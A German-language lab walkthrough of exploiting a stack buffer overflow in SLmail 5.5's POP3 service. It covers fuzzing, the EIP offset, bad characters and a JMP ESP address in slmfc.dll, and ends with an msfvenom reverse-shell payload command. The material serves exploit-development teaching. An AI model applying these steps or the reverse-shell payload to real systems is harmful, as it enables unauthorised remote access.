
Pufferüberlauf in Seattle Lab Mail (SLmail) 5.5 - POP3
Pufferüberlauf in Seattle Lab Mail (SLmail) 5.5 - POP3
Einfacher stapelbasierter Pufferüberlauf Schritt für Schritt
Im allerersten Schritt werden wir die Anwendung mit einem einfachen Spike-Skript fuzzen
währenddessen haben wir SLmail auch an Immunity Debugger angehängt [und ausgeführt]
Mehr über Spike:: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/
Hier ist ein einfaches Spike-Skript namens spike_fuzz.spk
wir werden es mit dem folgenden Befehl gegen die Anwendung ausführen
line_send_tcp 192.168.1.117 110 spike_fuzz.spk
wobei 192.168.1.117 die IP des Zielsystems ist, auf dem SLMail läuft, und es läuft auf Port 110

In der Zwischenzeit, wenn wir Immunity betrachten, sehen wir, dass die Anwendung abgestürzt ist

Jetzt erstellen wir einen Python-POC, der den Absturz nachstellt und die Bytes berechnet, bei denen die Anwendung abstürzt
python poc_crash.py

Zum Finden des Offsets verwenden wir msf
1. Zuerst ein Pattern erzeugen
2. Die EIP notieren
3. Diese EIP und Länge mit MSF abfragen, um den Offset zu finden
msf-pattern_create -l 2700

In poc_offset.py verwenden wir dieses Pattern als unseren Overflow-Buffer!
python poc_offset.py

An diesem Punkt notieren wir auch den EIP-Wert in Immunity, wo die Anwendung abgestürzt und angehalten ist

EIP ist 39694438
::Zum Finden des Offsets::
msf-pattern_offset -l 2700 -q 39694438

Offset ist 2606, das bedeutet 2606 Bytes, bevor wir zum EIP gelangen::: und das EIP selbst ist 4 Bytes lang
Jetzt versuchen wir, das EIP mit 4 B's zu überschreiben, d.h.:: in Immunity sollten wir 42424242 {Hex für 4 B's} sehen
python poc_eip_control.py

Und jetzt, wenn wir Immunity prüfen

Um es einfach und kurz zu halten
Du kannst das Skript poc_badchars.py ausführen und die Bad Characters dann selbst finden
Um es kurz zu halten
Diese Anwendung hat zwei Bad Characters {welche auch die Standard-Badchars sind}. Wenn wir poc_badchars.py zum ersten Mal ausführen, werden wir sehen, dass das Zeichen \x0a Probleme macht, und dann entfernen wir dieses aus unserem Badchars-Payload und führen das Skript erneut aus. Beim zweiten Mal werden wir sehen, dass das Zeichen \x0d übersprungen wird, das ist also unser zweiter Badchar, und wir entfernen es aus unserem Payload. Danach, wenn wir das Skript zum dritten Mal ausführen, ist alles klar und gut!
Badchars sind :: \x00\x0a\x0d
{Nullbyte, Zeilenvorschub, Wagenrücklauf}
python poc_badchars.py
Zuerst finden wir das richtige Modul mithilfe von Mona Modules in Immunity
slmfc.dll ist der am besten geeignete Kandidat, da es keinen Speicherschutz besitzt!

und nun finden wir eine JMP-ESP-Adresse in dieser DLL
Diese Adresse wird in das EIP geschrieben, sodass wir die Programmausführung zum ESP umleiten können, was zur Ausführung unseres Shellcodes führt!
!mona find -s "\xff\xe4" -m slmfc.dll
{\xff\xe4 Opcode entspricht JMP ESP}

Von 19 Zeigeradressen wählen wir die erste
Jetzt setzen wir alles zusammen und droppen eine Shell
1.) Den Shellcode erzeugen {ohne Badchars}
2.) Die gefundene Adresse hinzufügen {denke an Little Endian}
3.) Den Buffer, die Rücksprungadresse, ein paar NOP-Sleds und den Shellcode hinzufügen
4.) Wir haben eine Shell
Lass uns schnell mit msfvenom Shellcode erzeugen
msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

Wir setzen alles in der Datei exploit.py zusammen

Dieses Mal führen wir SLmail ohne Immunity aus und hören gleichzeitig auf eingehende Verbindungen
Sobald das erledigt ist, führen wir das finale exploit.py-Skript aus!

AUSGEZEICHNET, WIR HABEN EINE SHELL!